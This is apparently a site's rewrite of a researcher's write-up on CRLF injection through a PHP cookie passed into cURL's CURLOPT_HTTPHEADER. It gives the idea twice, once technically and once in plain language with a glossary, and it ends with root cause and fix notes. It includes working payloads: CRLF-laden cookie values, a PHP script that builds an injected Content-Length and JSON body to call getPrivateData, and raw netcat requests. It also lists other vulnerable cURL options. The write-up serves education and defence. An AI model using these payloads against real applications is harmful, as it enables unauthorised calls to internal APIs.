CRLF Injection Into PHP’s cURL Options
A PHP application passed user-controlled cookie data into a cURL HTTP header without sanitising CRLF characters. An attacker could inject arbitrary headers and POST data into the internal API request, potentially calling unintended methods.
This is a post about injecting carriage return and line feed characters into a internal API call. I wrote this up a year ago as a Gist on GitHub, but that’s not really the best platform for blog posts, is it?
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a white-box finding in a PHP application that used a feature called Trial Groups. Every user session carried a set of groups, stored as a comma-separated list in a cookie. The purpose was to let new features be enabled for a small percentage of customers first, to de-risk a launch, or to compare variations of a feature (A/B testing). A helper function read the cookie, split the list on commas and returned an array of trial groups for that user.
The application then called an internal JSON API, using PHP's cURL library, to invoke the getPublicData method. The API needed to know the user's trial groups so it could change its behaviour, so the groups were passed in an X-Trial-Groups header. The researcher notes that the exact code cannot be shared and that the snippets shown are rough approximations.
Setup
The testing was done locally. The server.php script was run with PHP's built-in web server:
tom@slim:~/tmp/crlf▶ php -S localhost:1234 server.php
PHP 7.2.7-0ubuntu0.18.04.2 Development Server started at Sun Jul 29 14:15:14 2018
Listening on http://localhost:1234
Document root is /home/tom/tmp/crlf
Press Ctrl-C to quit.
In place of the real internal API endpoint, the code points at http://httpbin.org/post, which returns a JSON document describing the POST request it received, including the POST data and the headers. Requests to the local server were made with the cURL command line utility, and raw HTTP requests were sent to httpbin.org with echo piped into netcat.
Finding it
The researcher prefers white-box testing and describes himself as not a very good black-box tester, but with more than a decade of reading and writing PHP. While going through source code he came across a function that looked roughly like this:
<?php// common.phpfunction getTrialGroups(){ $trialGroups = 'default'; if (isset($_COOKIE['trialGroups'])){ $trialGroups = $_COOKIE['trialGroups']; } return explode(",", $trialGroups);}
The function takes the trialGroups cookie value, falls back to default when the cookie is absent, and splits the value on commas. What caught his attention was the lack of whitelisting: any cookie value is accepted and returned. He grepped the rest of the codebase for calls to the function to see whether the return value was used unsafely, and found something like this:
<?php// server.php// Include common functionsrequire __DIR__.'/common.php';// Using the awesome httpbin.org here to just reflect// our whole request back at us as JSON :)$ch = curl_init("http://httpbin.org/post");// Make curl_exec return the response bodycurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);// Set the content type and pass through any trial groupscurl_setopt($ch, CURLOPT_HTTPHEADER, [ "Content-Type: application/json", "X-Trial-Groups: " . implode(",", getTrialGroups())]);// Call the 'getPublicData' RPC method on the internal APIcurl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([ "method" => "getPublicData", "params" => []]));// Return the response to the userecho curl_exec($ch);curl_close($ch);
The trial groups are joined back into a comma-separated string and concatenated into an X-Trial-Groups header passed to CURLOPT_HTTPHEADER. The problem is that when setting CURLOPT_HTTPHEADER, the values are not checked for carriage return or line feed characters. Because getTrialGroups() returns user-controllable data, arbitrary headers can be injected into the API request.
Exploitation
Step 1: confirm the cookie reaches the outgoing header
A first request sends a trialGroups cookie with the value A1,B2:
tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2'
The response from httpbin.org describes the request that was made:
{ "args": {}, "data": "{\"method\":\"getPublicData\",\"params\":[]}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.org", "X-Trial-Groups": "A1,B2" }, "json": { "method": "getPublicData", "params": [] }, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}
The important part is that the X-Trial-Groups header sent to httpbin.org contains the A1,B2 string from the cookie, so the cookie value flows straight into the outgoing request headers.
Step 2: inject a header with CRLF
Next, a URL-encoded carriage return (%0d) and line feed (%0a) are placed in the cookie value, followed by a new header:
tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2%0d%0aX-Injected:%20true'
{ "args": {}, "data": "{\"method\":\"getPublicData\",\"params\":[]}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.org", "X-Injected": "true", "X-Trial-Groups": "A1,B2" }, "json": { "method": "getPublicData", "params": [] }, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}
PHP automatically decodes URL-encoded sequences such as %0d and %0a in cookie values, so the encoded CRLF arrives as real CRLF characters. HTTP headers are separated by CRLF sequences, so when the PHP cURL library writes the request headers, the X-Injected: true part of the payload is treated as a separate header. The response shows X-Injected: true alongside X-Trial-Groups: A1,B2.
Step 3: understand the structure of an HTTP request
Injecting headers alone does not achieve much in this case. To go further, the researcher walks through the most basic HTTP POST request:
POST /post HTTP/1.1Host: httpbin.orgConnection: closeContent-Length: 7thedata
Line by line:
POST /post HTTP/1.1says to use thePOSTmethod to send a request to the/postendpoint using HTTP version 1.1.Host: httpbin.orgtells the remote server which site is being requested. When you connect to an HTTP server you connect to an IP address, not a domain name, so without aHostheader the server has no way to know what domain was typed into the browser's address bar.Connection: closeasks the server to close the underlying TCP connection once it has finished sending its response. Without it the connection may stay open after the response has been sent.Content-Length: 7tells the server how many bytes of data will be sent in the request body.- The empty-looking line contains nothing but a CRLF sequence. It tells the server that the headers are finished and the request body is about to be sent.
thedatais the request body (thePOSTdata). Its length in bytes must match theContent-Lengthheader, because the server was told to read that many bytes.
Sending this request with netcat:
tom@slim:~▶ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata" | nc httpbin.org 80
HTTP/1.1 200 OKConnection: closeServer: gunicorn/19.9.0Date: Sun, 29 Jul 2018 14:16:34 GMTContent-Type: application/jsonContent-Length: 257Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueVia: 1.1 vegur
{ "args": {}, "data": "thedata", "files": {}, "form": {}, "headers": { "Connection": "close", "Content-Length": "7", "Host": "httpbin.org" }, "json": null, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}
Everything works as expected: response headers, a CRLF sequence, then the response body.
Step 4: send more body than Content-Length declares
The trick is to send more POST data than the Content-Length header says. The same request is sent with some more data appended to the body, while Content-Length stays at 7:
tom@slim:~▶ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata some more data" | nc httpbin.org 80
HTTP/1.1 200 OKConnection: closeServer: gunicorn/19.9.0Date: Sun, 29 Jul 2018 14:20:10 GMTContent-Type: application/jsonContent-Length: 257Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueVia: 1.1 vegur
{ "args": {}, "data": "thedata", "files": {}, "form": {}, "headers": { "Connection": "close", "Content-Length": "7", "Host": "httpbin.org" }, "json": null, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}
The server only read the first 7 bytes. That behaviour is what makes the exploit possible.
Step 5: the plan
When setting CURLOPT_HTTPHEADER, a single CRLF sequence injects headers, and a double CRLF sequence injects POST data. The plan:
- Craft JSON
POSTdata that calls a method other thangetPublicData, for examplegetPrivateData. - Get the length of that data in bytes.
- Using a single CRLF sequence, inject a
Content-Lengthheader that instructs the server to read only that number of bytes. - Inject two CRLF sequences, then the malicious JSON as the
POSTdata.
If all goes well, the legitimate JSON POST data is completely ignored by the internal API in favour of the malicious JSON.
Step 6: generate the payload
To avoid mistakes, the researcher wrote a small script to generate the cookie:
tom@slim:~▶ cat gencookie.php
<?php$postData = '{"method": "getPrivateData", "params": []}';$length = strlen($postData);$payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$postData}";echo "trialGroups=".urlencode($payload);
tom@slim:~▶ php gencookie.php
trialGroups=ignore%0D%0AContent-Length%3A+42%0D%0A%0D%0A%7B%22method%22%3A+%22getPrivateData%22%2C+%22params%22%3A+%5B%5D%7D
The script builds a payload that starts with ignore, then a CRLF, a Content-Length header set to the byte length of the malicious JSON, two CRLF sequences, and the JSON itself. The whole payload is URL-encoded and prefixed with trialGroups=.
Step 7: send the exploit
The generated cookie is passed to the local server:
tom@slim:~▶ curl -s localhost:1234 -b $(php gencookie.php)
{ "args": {}, "data": "{\"method\": \"getPrivateData\", \"params\": []}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "42", "Content-Type": "application/json", "Host": "httpbin.org", "X-Trial-Groups": "ignore" }, "json": { "method": "getPrivateData", "params": [] }, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}
The X-Trial-Groups header is set to ignore, a Content-Length header of 42 was injected, and the malicious POST data was injected. The legitimate POST data was still sent, but it was completely ignored by the server. In the demo, httpbin.org reflected the injected body as a call to getPrivateData instead of getPublicData.
Root cause
The mistake is in how the application builds the CURLOPT_HTTPHEADER value. The getTrialGroups() function returns user-controllable data without whitelisting, and that data is concatenated into a header string. When setting CURLOPT_HTTPHEADER, the values are not checked for carriage return or line feed characters, so CRLF sequences in the cookie value become header separators in the outgoing request. A double CRLF ends the headers entirely, and the injected Content-Length limits how much of the request body the server reads, so the injected body is what the API acts on. The report does not describe any defence that was in place and failed; the lack of whitelisting in getTrialGroups() is what allowed the value through.
Impact
The researcher is explicit that injecting headers into the request does not achieve very much in this case. The real impact comes from injecting POST data: the legitimate JSON body is ignored and the attacker's JSON is processed by the internal API instead. In the demo this means calling getPrivateData rather than getPublicData. What that method actually returns, and what authorisation the internal API applies, is not described. The bug is described as unlikely to be found through black-box testing, which is why the write-up focuses on educating people who write code about attack vectors they may not be aware of.
Fix
The report does not describe a fix that was applied. The clear implication of the finding is that user-controllable values must not be placed into CURLOPT_HTTPHEADER without validation, and that getTrialGroups() should whitelist the values it accepts rather than returning arbitrary cookie content.
Variants to test
CURLOPT_HTTPHEADER is not the only cURL option vulnerable to the same attack. The researcher found that the following options implicitly set headers on the request and are vulnerable (and possibly others too):
CURLOPT_HEADERCURLOPT_COOKIECURLOPT_RANGECURLOPT_REFERERCURLOPT_USERAGENTCURLOPT_PROXYHEADER
On another target, look for user-controllable values flowing into any of these options. A positive result looks like the httpbin.org reflection above: a CRLF sequence in the value produces an extra header in the outgoing request, and a double CRLF plus an injected Content-Length produces a request body that the server acts on instead of the legitimate one.
What happened, in plain words
A developer wrote a small piece of PHP code that let a user's browser influence a request the server made to another, internal service. The value that came from the user was a cookie, and the code pasted that value straight into an outgoing HTTP header without checking it. Because HTTP uses special invisible characters (a carriage return and a line feed) to mark where one header ends and the next begins, a user who could put those characters into the cookie could add headers of their own to the request. Going one step further, they could also add a request body of their own, and make the internal service act on that body instead of the one the application meant to send.
The write-up walks through this from the beginning: the vulnerable function, the code that used it, a local demo, a short lesson on what an HTTP request looks like, and finally a working exploit that swapped a harmless API call for a more sensitive one. It ends with a list of other PHP cURL options that have the same weakness.
A few words before we start, because the rest of the article leans on them.
- PHP is a programming language used to build websites. When you load a page, the server runs PHP code and sends back the result.
- A cookie is a small piece of text that a website asks your browser to store and send back on every later request to that site. It is how a site remembers who you are between page loads. You can see and edit cookies in your browser's developer tools.
- An API (Application Programming Interface) is a way for one piece of software to ask another piece of software to do something. A restaurant menu is a fair comparison: you do not walk into the kitchen, you pick an item from a list the kitchen offers, and food comes back. Here, the website's PHP code asks an internal API to run a named method and return data.
- A header is a labelled line of extra information attached to a web request or response, such as
Content-Type: application/json. Headers travel alongside the actual content and tell the receiving side how to interpret it. - CRLF stands for Carriage Return, Line Feed. It is the pair of invisible characters that, in HTTP, marks the end of a line. In this article it is the star of the show.
- CRLF injection is the vulnerability class: putting those line-ending characters into a value that later gets written into a protocol message, so that the value breaks out of its intended place and creates new lines (and therefore new headers or new body content) that the attacker controls.
The feature: Trial Groups
The application had a feature called Trial Groups. Every user session carried a set of groups, stored as a comma-separated list in a cookie, for example A1,B2. The purpose was to let new features be switched on for a small percentage of customers first, to reduce the risk of a launch, or to compare two variations of a feature. That comparison approach is known as A/B testing: some users see version A, others see version B, and you measure which performs better.
A helper function read the cookie, split the list on commas and returned the groups as an array (a list of values in the programming language). The application then called an internal JSON API using PHP's cURL library, asking it to run a method called getPublicData. The API needed to know the user's trial groups so it could change its behaviour, so the groups were passed along in a header named X-Trial-Groups.
Two more terms used above:
- JSON is a plain-text format for structured data, made of names and values in curly braces. APIs commonly speak JSON.
- cURL is a library (a reusable bundle of code) for making HTTP requests from inside a program. PHP has its own binding to it, and the code below uses it to call the API.
The researcher notes that the exact code cannot be shared and that the snippets shown are rough approximations.
Finding it
The researcher prefers white-box testing, meaning looking at the source code of the application rather than only poking at it from outside. He describes himself as not a very good black-box tester (testing with no access to the code), but with more than a decade of reading and writing PHP. While going through source code he came across a function that looked roughly like this:
<?php// common.phpfunction getTrialGroups(){ $trialGroups = 'default'; if (isset($_COOKIE['trialGroups'])){ $trialGroups = $_COOKIE['trialGroups']; } return explode(",", $trialGroups);}
Line by line:
<?phpopens a block of PHP code.// common.phpis a comment naming the file.function getTrialGroups(){starts the definition of a function calledgetTrialGroups. A function is a named block of code you can call whenever you need its result.$trialGroups = 'default';sets a starting value. If nothing else comes along, the user is in a group calleddefault.if (isset($_COOKIE['trialGroups'])){checks whether the browser sent a cookie namedtrialGroups.$_COOKIEis PHP's built-in collection of cookies from the current request.$trialGroups = $_COOKIE['trialGroups'];replaces the starting value with whatever the cookie contains. This is the important line: the value comes from the user.return explode(",", $trialGroups);splits the string on commas and returns the resulting list.explodeis PHP's split function.
What caught his attention was the lack of whitelisting: any cookie value is accepted and returned. Whitelisting means only allowing values from an approved list, for example only A1 and B2. Here, anything the user puts in the cookie comes back out of the function unchanged.
He then searched (grepped) the rest of the codebase for calls to the function, to see whether the return value was used unsafely. Grep is a command-line tool for searching text, and developers use it to jump to every place a function is used. He found something like this:
<?php// server.php// Include common functionsrequire __DIR__.'/common.php';// Using the awesome httpbin.org here to just reflect// our whole request back at us as JSON :)$ch = curl_init("http://httpbin.org/post");// Make curl_exec return the response bodycurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);// Set the content type and pass through any trial groupscurl_setopt($ch, CURLOPT_HTTPHEADER, [ "Content-Type: application/json", "X-Trial-Groups: " . implode(",", getTrialGroups())]);// Call the 'getPublicData' RPC method on the internal APIcurl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([ "method" => "getPublicData", "params" => []]));// Return the response to the userecho curl_exec($ch);curl_close($ch);
Line by line:
require __DIR__.'/common.php';loads the file that containsgetTrialGroups, so the function is available here.$ch = curl_init("http://httpbin.org/post");starts a cURL request and stores its handle in$ch. The address is httpbin.org, a public service that echoes back whatever request it receives as JSON. In the real application this would be the internal API; the researcher used httpbin.org in place of it.curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);tells cURL to give the response back as a value instead of printing it immediately.curl_setopt($ch, CURLOPT_HTTPHEADER, [...]);sets the headers for the outgoing request. Two headers are supplied:Content-Type: application/json, which says the body is JSON, andX-Trial-Groups:followed by the trial groups joined back into a comma-separated string.implodeis the opposite ofexplode: it glues a list into one string with commas.curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([...]));sets the request body.json_encodeturns the PHP array into JSON text. The body asks the API to run the methodgetPublicDatawith no parameters.echo curl_exec($ch);actually sends the request and prints the response to the user.curl_close($ch);cleans up the request handle.
The problem is in step 4. When setting CURLOPT_HTTPHEADER, the values are not checked for carriage return or line feed characters. Because getTrialGroups() returns user-controllable data, arbitrary headers can be injected into the API request.
Setting up a local demo
The testing was done locally, on the researcher's own machine. The server.php script was run with PHP's built-in web server, a small server that comes with PHP and is handy for experiments:
tom@slim:~/tmp/crlf▶ php -S localhost:1234 server.php
PHP 7.2.7-0ubuntu0.18.04.2 Development Server started at Sun Jul 29 14:15:14 2018
Listening on http://localhost:1234
Document root is /home/tom/tmp/crlf
Press Ctrl-C to quit.
What this shows:
php -S localhost:1234 server.phpstarts the built-in server, listening on port 1234 of the local machine, and runsserver.phpfor every request.- The next lines are the server's startup message: the PHP version, the time it started, the address it is listening on, the folder it serves files from, and how to stop it.
In place of the real internal API endpoint, the code points at http://httpbin.org/post, which returns a JSON document describing the POST request it received, including the POST data and the headers. That is why it is useful for a demo: you can see exactly what left the server.
Requests to the local server were made with the cURL command line utility (a program you run in a terminal to make web requests), and raw HTTP requests were sent to httpbin.org by piping echo into netcat. Netcat is a simple tool that opens a network connection and sends whatever you type into it, which makes it perfect for writing an HTTP request by hand.
Step 1: confirm the cookie reaches the outgoing header
First, a request is sent to the local server with a trialGroups cookie whose value is A1,B2:
tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2'
Here curl is the command-line tool, -s means quiet (do not print progress), localhost:1234 is the local server, and -b sends a cookie with the given value.
The response from httpbin.org describes the request that was made:
{ "args": {}, "data": "{\"method\":\"getPublicData\",\"params\":[]}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.org", "X-Trial-Groups": "A1,B2" }, "json": { "method": "getPublicData", "params": [] }, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}
Reading the JSON:
args,filesandformare empty because this was not a form submission and had no URL parameters.datais the raw request body that arrived: the JSON asking forgetPublicData.headerslists every header httpbin.org received.Content-Length: 38says the body is 38 bytes long.X-Trial-Groups: A1,B2is the header the application built from the cookie.jsonis httpbin.org's parsed version of the body, showing the method and parameters.originis the sender's IP address, shown here asX.X.X.X.urlis the address that was requested.
The important part is that the X-Trial-Groups header sent to httpbin.org contains the A1,B2 string from the cookie. The cookie value flows straight into the outgoing request headers, which is the precondition for everything that follows.
Step 2: inject a header with CRLF
Next, a URL-encoded carriage return (%0d) and line feed (%0a) are placed in the cookie value, followed by a new header:
tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2%0d%0aX-Injected:%20true'
Why URL-encoded? PHP automatically decodes URL-encoded sequences such as %0d and %0a in cookie values, so the encoded CRLF arrives in the code as real CRLF characters. %0d is carriage return, %0a is line feed, and %20 is a space. The server-side language decodes them back into real characters.
The response:
{ "args": {}, "data": "{\"method\":\"getPublicData\",\"params\":[]}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.org", "X-Injected": "true", "X-Trial-Groups": "A1,B2" }, "json": { "method": "getPublicData", "params": [] }, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}
Look at the headers section: there is now an X-Injected: true header that the application never intended to send, sitting next to X-Trial-Groups: A1,B2.
What happened, step by step:
- HTTP headers are separated by CRLF sequences. A header line ends with CRLF, and the next header begins on the next line.
- When the PHP cURL library writes the request headers, it writes
X-Trial-Groups: A1,B2followed by the CRLF that came from the cookie, and thenX-Injected: trueon what is now a new line. - The receiving server reads that as two separate headers. The
X-Injected: truepart of the payload is treated as a header of its own.
That is the essence of CRLF injection: a value that was supposed to stay inside one line breaks out and starts a new one.
Step 3: understand the structure of an HTTP request
Injecting headers alone does not achieve much in this case. To go further, the researcher walks through the most basic HTTP POST request. A POST request is one where the browser (or program) sends data to the server, as opposed to a GET request which just asks for a page.
POST /post HTTP/1.1Host: httpbin.orgConnection: closeContent-Length: 7thedata
Line by line:
POST /post HTTP/1.1says to use thePOSTmethod to send a request to the/postendpoint using HTTP version 1.1. An endpoint is a specific address on a server that does a specific job.Host: httpbin.orgtells the remote server which site is being requested. When you connect to an HTTP server you connect to an IP address, not a domain name, so without aHostheader the server has no way to know what domain was typed into the browser's address bar. It is like an office building: the street address gets you to the building, and theHostheader tells the receptionist which company you want.Connection: closeasks the server to close the underlying TCP connection once it has finished sending its response. TCP is the lower-level connection that carries HTTP. Without this header the connection may stay open after the response has been sent, waiting for more requests.Content-Length: 7tells the server how many bytes of data will be sent in the request body. A byte is a unit of data; one character of plain text is usually one byte.- The empty-looking line contains nothing but a CRLF sequence. It tells the server that the headers are finished and the request body is about to be sent. This blank line is the boundary between headers and body.
thedatais the request body (thePOSTdata). Its length in bytes must match theContent-Lengthheader, because the server was told to read that many bytes.
Sending this request with netcat:
tom@slim:~▶ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata" | nc httpbin.org 80
What this command does:
echo -eprints the quoted text and interprets escape sequences.\r\nbecomes a real CRLF, and\r\n\r\nbecomes the blank line that separates headers from body.- The
|pipe takes that output and feeds it to the next command. nc httpbin.org 80is netcat, connecting to httpbin.org on port 80, the standard port for plain HTTP. It sends the text as-is, which is exactly what a browser would do, minus the browser.
The response:
HTTP/1.1 200 OKConnection: closeServer: gunicorn/19.9.0Date: Sun, 29 Jul 2018 14:16:34 GMTContent-Type: application/jsonContent-Length: 257Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueVia: 1.1 vegur
This is the response header block. HTTP/1.1 200 OK means the request succeeded. Server: gunicorn/19.9.0 names the software on the other end. Date is when the response was produced. Content-Type: application/json says the body is JSON. Content-Length: 257 says the body is 257 bytes. The Access-Control-* headers relate to browser cross-origin rules, and Via: 1.1 vegur names an intermediary proxy.
Then the body:
{ "args": {}, "data": "thedata", "files": {}, "form": {}, "headers": { "Connection": "close", "Content-Length": "7", "Host": "httpbin.org" }, "json": null, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}
httpbin.org confirms it received thedata as the body, Content-Length: 7, and Host: httpbin.org. Everything works as expected: response headers, a CRLF sequence, then the response body.
Step 4: send more body than Content-Length declares
The trick is to send more POST data than the Content-Length header says. The same request is sent with some more data appended to the body, while Content-Length stays at 7:
tom@slim:~▶ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata some more data" | nc httpbin.org 80
The response headers:
HTTP/1.1 200 OKConnection: closeServer: gunicorn/19.9.0Date: Sun, 29 Jul 2018 14:20:10 GMTContent-Type: application/jsonContent-Length: 257Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueVia: 1.1 vegur
And the body:
{ "args": {}, "data": "thedata", "files": {}, "form": {}, "headers": { "Connection": "close", "Content-Length": "7", "Host": "httpbin.org" }, "json": null, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}
The server only read the first 7 bytes. some more data was sent over the network but never treated as part of the request body, because the server stopped reading after the number of bytes it was promised. That behaviour is what makes the exploit possible: if you can control the Content-Length header, you can control how much of the body the server pays attention to, and therefore which bytes it treats as the body.
Step 5: the plan
When setting CURLOPT_HTTPHEADER, a single CRLF sequence injects headers, and a double CRLF sequence injects POST data. The double CRLF is the same blank line that separates headers from body in a normal request: once the injected CRLF pair ends the headers, whatever follows is read as the body.
The plan:
- Craft JSON
POSTdata that calls a method other thangetPublicData, for examplegetPrivateData. - Get the length of that data in bytes.
- Using a single CRLF sequence, inject a
Content-Lengthheader that instructs the server to read only that number of bytes. - Inject two CRLF sequences, then the malicious JSON as the
POSTdata.
If all goes well, the legitimate JSON POST data is completely ignored by the internal API in favour of the malicious JSON. The application still sends its own body, but the server reads only the number of bytes named in the injected Content-Length, and those bytes are the attacker's JSON.
Step 6: generate the payload
To avoid mistakes, the researcher wrote a small script to generate the cookie. Hand-encoding a payload with CRLF characters and URL encoding is easy to get wrong, and a script makes it repeatable.
tom@slim:~▶ cat gencookie.php
cat prints the contents of a file, so this shows the script:
<?php$postData = '{"method": "getPrivateData", "params": []}';$length = strlen($postData);$payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$postData}";echo "trialGroups=".urlencode($payload);
Line by line:
$postData = '{"method": "getPrivateData", "params": []}';stores the malicious JSON body in a variable. It asks the API to rungetPrivateDatawith no parameters.$length = strlen($postData);counts the bytes in that JSON.strlenreturns the length of a string.$payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$postData}";builds the value that will go into the cookie. It starts with the harmless wordignore, then a CRLF, then aContent-Lengthheader set to the byte length of the malicious JSON, then two CRLF sequences (the blank line), then the JSON itself. The{$length}and{$postData}parts are placeholders that PHP fills in.echo "trialGroups=".urlencode($payload);URL-encodes the whole payload so it can travel safely in a cookie, and prefixes it withtrialGroups=so it is ready to be used as a cookie.
Running it:
tom@slim:~▶ php gencookie.php
trialGroups=ignore%0D%0AContent-Length%3A+42%0D%0A%0D%0A%7B%22method%22%3A+%22getPrivateData%22%2C+%22params%22%3A+%5B%5D%7D
The output is the cookie, ready to send. Reading it:
trialGroups=is the cookie name.ignoreis the harmless start of the value, so the header the application builds begins with something ordinary.%0D%0Ais the first CRLF, which ends theX-Trial-Groupsheader line.Content-Length%3A+42isContent-Length: 42URL-encoded.%3Ais a colon and+is a space. 42 is the byte length of the malicious JSON.%0D%0A%0D%0Ais the double CRLF, the blank line that ends the headers.- The rest is the malicious JSON, URL-encoded:
%7Bis{,%22is a double quote,%3Ais a colon,%2Cis a comma,%5Band%5Dare square brackets.
Step 7: send the exploit
The generated cookie is passed to the local server:
tom@slim:~▶ curl -s localhost:1234 -b $(php gencookie.php)
$(...) runs the command inside the brackets and substitutes its output, so the cookie sent is exactly what the script printed.
The response:
{ "args": {}, "data": "{\"method\": \"getPrivateData\", \"params\": []}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "42", "Content-Type": "application/json", "Host": "httpbin.org", "X-Trial-Groups": "ignore" }, "json": { "method": "getPrivateData", "params": [] }, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}
What the response shows:
X-Trial-Groups: ignoreis the header the application built. It contains only the harmless word, because the CRLF ended the line there.Content-Length: 42is the injected header. The application never set it; it came from the cookie.datais the malicious JSON, andjsonshows it parsed as a call togetPrivateData.
The X-Trial-Groups header is set to ignore, a Content-Length header of 42 was injected, and the malicious POST data was injected. The legitimate POST data was still sent, but it was completely ignored by the server. In the demo, httpbin.org reflected the injected body as a call to getPrivateData instead of getPublicData.
Root cause
The mistake is in how the application builds the CURLOPT_HTTPHEADER value. The getTrialGroups() function returns user-controllable data without whitelisting, and that data is concatenated into a header string. When setting CURLOPT_HTTPHEADER, the values are not checked for carriage return or line feed characters, so CRLF sequences in the cookie value become header separators in the outgoing request. A double CRLF ends the headers entirely, and the injected Content-Length limits how much of the request body the server reads, so the injected body is what the API acts on. The report does not describe any defence that was in place and failed; the lack of whitelisting in getTrialGroups() is what allowed the value through.
Impact
The researcher is explicit that injecting headers into the request does not achieve very much in this case. The real impact comes from injecting POST data: the legitimate JSON body is ignored and the attacker's JSON is processed by the internal API instead. In the demo this means calling getPrivateData rather than getPublicData. What that method actually returns, and what authorisation the internal API applies, is not described. The bug is described as unlikely to be found through black-box testing, which is why the write-up focuses on educating people who write code about attack vectors they may not be aware of.
Fix
The report does not describe a fix that was applied. The clear implication of the finding is that user-controllable values must not be placed into CURLOPT_HTTPHEADER without validation, and that getTrialGroups() should whitelist the values it accepts rather than returning arbitrary cookie content.
Variants to test
CURLOPT_HTTPHEADER is not the only cURL option vulnerable to the same attack. The researcher found that the following options implicitly set headers on the request and are vulnerable (and possibly others too):
CURLOPT_HEADERCURLOPT_COOKIECURLOPT_RANGECURLOPT_REFERERCURLOPT_USERAGENTCURLOPT_PROXYHEADER
On another target, look for user-controllable values flowing into any of these options. A positive result looks like the httpbin.org reflection above: a CRLF sequence in the value produces an extra header in the outgoing request, and a double CRLF plus an injected Content-Length produces a request body that the server acts on instead of the legitimate one.
Glossary
- A/B testing: running two versions of a feature for different users and comparing the results.
- API (Application Programming Interface): a defined way for one piece of software to ask another to do something and return data.
- Array: an ordered list of values in a programming language.
- Black-box testing: testing an application from the outside, without seeing its source code.
- Byte: a unit of data; one character of plain text is usually one byte.
- Carriage return (CR): the invisible character that, in HTTP, is the first half of a line ending. URL-encoded as
%0d. - cURL: a library and command-line tool for making HTTP requests.
- Cookie: a small piece of text a site asks the browser to store and send back on later requests.
- CRLF: Carriage Return followed by Line Feed, the pair of characters that marks the end of a line in HTTP.
- CRLF injection: putting CRLF characters into a value that is later written into a protocol message, so the value creates new lines the attacker controls.
- Endpoint: a specific address on a server that performs a specific job.
- Function: a named block of code that can be called to produce a result.
- GET: an HTTP method for asking for a resource, without sending a body.
- Grep: a command-line tool for searching text, used by developers to find where something appears in code.
- Header: a labelled line of extra information attached to a request or response.
- Host header: the header that tells a server which domain name the client wants.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- httpbin.org: a public service that echoes back the details of the request it received, useful for testing.
- JSON: a plain-text format for structured data made of names and values.
- Line feed (LF): the invisible character that, in HTTP, is the second half of a line ending. URL-encoded as
%0a. - Method: in HTTP, the kind of request (
GET,POST, and others); in an API, the named operation being called. - Netcat (
nc): a tool that opens a network connection and sends whatever you give it, useful for writing raw requests. - PHP: a programming language commonly used to build websites.
- POST: an HTTP method for sending data to a server in a request body.
- Request body: the data sent after the headers in a request.
- TCP: the lower-level connection that carries HTTP traffic.
- URL encoding: writing special characters as
%followed by two hex digits so they can travel safely in a URL or cookie. - User-controllable: a value that a user (or attacker) can set, such as a cookie.
- Whitelisting: only accepting values from an approved list.
- White-box testing: testing with access to the application's source code.
- X-Trial-Groups: the header the application used to pass the user's trial groups to the internal API.